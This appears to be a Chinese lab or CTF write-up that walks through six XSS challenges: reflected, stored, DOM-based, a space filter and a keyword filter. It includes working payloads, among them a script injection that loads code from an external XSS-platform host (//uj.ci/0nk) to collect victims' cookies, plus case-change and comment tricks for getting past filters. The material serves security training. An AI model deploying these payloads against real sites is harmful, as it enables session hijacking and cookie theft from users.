前期了解:上半部分是用户执行的操作,下半部分是模拟服务器的操作。
一:反射型xss。
先在用户框里继续测试,<script>alert(1)</script>,然后就发现了存在xss漏洞。
测试看看有没有cookie返回,<script>alert(document.cookie)</script>,但发现并不存在cookie,所以可以确认用户执行操作是不携带cookie的。
于是我们可以利用xss平台进行利用,让服务器将请求的信息发给xss平台。
最后在xss平台上获取到cookie了。
二:存储型xss。
先在用户执行框输入<script>alert(1)</script>,测试是否存在xss漏洞。
发现是存在xss漏洞的,于是我们就可以测试去注入了。
发现用户执行是不会携带cookie的,所以只能让服务器返回cookie。
所以我们就要配合xss平台获取cookie。
因为我们知道用户执行是不会返回cookie的,所以我们将用户执行的网页让服务器去执行。
然后我就可以在xss平台上看到一条携带cookie的信息啦。
第三题:DMO反射。
先进行测试,<script>alert(1)</script>,发现攻击不成功,而返回的是;。所以推测这可以使用点击促发函数,然后我们观察源码可以知道,需要先闭合,再执行<img src=0 οnclick=alert("xss")>,所以最终的payload为'><img src=0 οnclick=alert("xss")>
我们用到xss平台来接收cookie,构造语句: '></script><script src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='//uj.ci/0nk';></script>
最后在xss平台上得到cookie值
第四题:DOM跳转
首先我们用户的输入框被禁止输入了,但他给我们知道了他的变量名,所以我们就可以考虑看看是否能进行GETxss注入,使用常规的http代码无法成功,所以可以考虑使用js。
确认存在漏洞后我们就可以直接利用xss平台进行,xss注入了。然后我们就简单了解一下 ,getScritp()
第五题:过滤空格
常规注入,发现是可以的。
然后使用xss平台,发现失败,没有收到信息,所以我们查看源码,原来是过滤空格。<sCRiPt sRC=//uj.ci/0nk></sCrIpT>
所以我们想办法绕过空格。
例如注释绕过。/**/
然后就可以接收到数据,说明成功。之后就是重复之前的步骤啦。
补充:除了/**/外,还可以使用//等,+号可不可以?可不可以?空格编码可不可以?只能慢慢测试啦。
第六题:过滤关键词
常规测试
然后发现script给过滤了,不仅如此img等也进行了过滤,这就不演示了。
于是我们就尝试去绕过,试试大小写转化,成了,那么这题就可以结束了,因为我们的xss平台本来就自带大小写转换。
除了使用大小写转换,还可以使用双写等等,其他具体的可去探索。